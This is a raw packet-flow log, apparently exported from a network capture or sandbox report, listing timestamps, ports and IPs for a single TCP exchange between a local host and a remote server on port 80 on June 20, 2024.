Jun 20, 2024 15:38:14.222426891 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222436905 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222460985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222471952 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222495079 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222506046 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222531080 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222536087 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222567081 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222575903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222613096 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275367975 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275405884 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275419950 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275459051 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275460958 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275506020 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275512934 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275547028 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275552988 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275587082 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275599957 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275635004 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275638103 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275667906 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275674105 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275701046 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275706053 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275734901 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275739908 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275774002 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275787115 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275801897 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275815964 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275819063 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275830984 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275840044 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275851011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275856018 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275866032 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275871038 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275883913 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275887966 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275898933 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275906086 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275914907 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275928974 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275930882 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275947094 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.275954962 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.275979042 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.276007891 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.305634975 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.305687904 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.305711031 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.305721045 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.305737972 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.305753946 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.305762053 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.305799007 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.305810928 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.305854082 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.305861950 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.305895090 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.305903912 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.305937052 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.305948973 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.305983067 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.305990934 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306025028 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306035042 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306082010 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306087971 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306121111 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306135893 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306154013 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306160927 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306186914 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306197882 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306224108 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306226969 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306257010 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306268930 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306291103 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306296110 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306329966 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306333065 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306372881 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306384087 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306446075 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306454897 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306489944 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306499004 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306523085 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306530952 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306556940 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306566000 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306590080 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306600094 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306627035 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306633949 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306668043 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306678057 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306713104 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306720972 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306755066 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306766033 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306802988 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306808949 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306833029 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306848049 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306873083 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306883097 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306917906 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.306926012 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306962013 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.306971073 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307004929 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307013988 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307038069 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307046890 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307080030 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307090998 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307123899 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307133913 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307157993 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307163954 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307204962 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307208061 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307241917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307245970 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307275057 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307302952 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307312965 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307326078 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307369947 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307377100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307410002 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307415962 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307449102 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307461977 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307496071 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307503939 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307538986 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307545900 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307588100 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307595968 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307634115 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307648897 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307667017 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307674885 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307709932 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307720900 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307760000 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307771921 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307805061 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307811975 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307838917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307847023 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307872057 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307882071 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307905912 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307914019 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307940006 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.307952881 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307984114 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.307991982 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308034897 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308166981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308206081 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308212996 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308238029 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308248043 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308271885 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308279037 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308312893 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308425903 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308459044 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308471918 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308509111 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308514118 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308542967 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308559895 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308576107 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308593035 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308609009 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308620930 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308645964 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308653116 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308680058 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308687925 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308712959 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308722973 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308748007 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308754921 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308780909 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308792114 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308815002 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308824062 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308847904 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308856964 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308881998 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308914900 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308947086 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308947086 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308950901 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.308983088 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.308983088 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.309004068 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.309017897 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.309022903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.309050083 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.309067965 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.309087038 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.309094906 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.309120893 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.309132099 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.309154987 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.309165001 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.309187889 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.309197903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.309226036 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.309230089 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.309258938 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.309267998 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.309302092 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.349132061 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.349195004 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.349234104 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.349250078 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.349266052 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.349275112 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.349281073 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.349292040 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.349297047 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.349307060 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.349313021 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.349324942 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.349343061 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.349370003 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.361777067 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.361809015 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.361852884 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.361861944 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.361861944 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.361886024 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.361898899 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.361929893 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.361931086 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.361958981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.361970901 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.361988068 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362016916 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362031937 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362040043 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362045050 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362065077 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362076044 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362085104 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362123966 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362143993 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362169027 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362170935 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362211943 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362212896 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362241983 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362267971 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362278938 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362306118 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362310886 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362322092 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362345934 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362355947 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362375021 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362401009 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362402916 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362415075 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362432957 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362449884 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362462044 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362490892 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362492085 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362504959 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362519979 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.362534046 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.362560987 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473217964 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473258972 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473288059 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473313093 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473315954 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473346949 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473359108 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473381042 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473387957 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473423004 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473432064 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473468065 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473479986 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473503113 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473512888 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473537922 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473547935 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473567963 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473577976 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473613024 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473640919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473675013 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473689079 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473709106 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473720074 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473742962 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473757982 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473777056 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473784924 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473813057 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473818064 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473845959 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473865032 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473880053 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473896027 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473927021 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473932028 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473965883 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.473974943 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.473999023 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474008083 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474034071 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474042892 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474083900 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474293947 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474339008 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474364042 CEST	49710	80	192.168.2.5	77.91.77.81
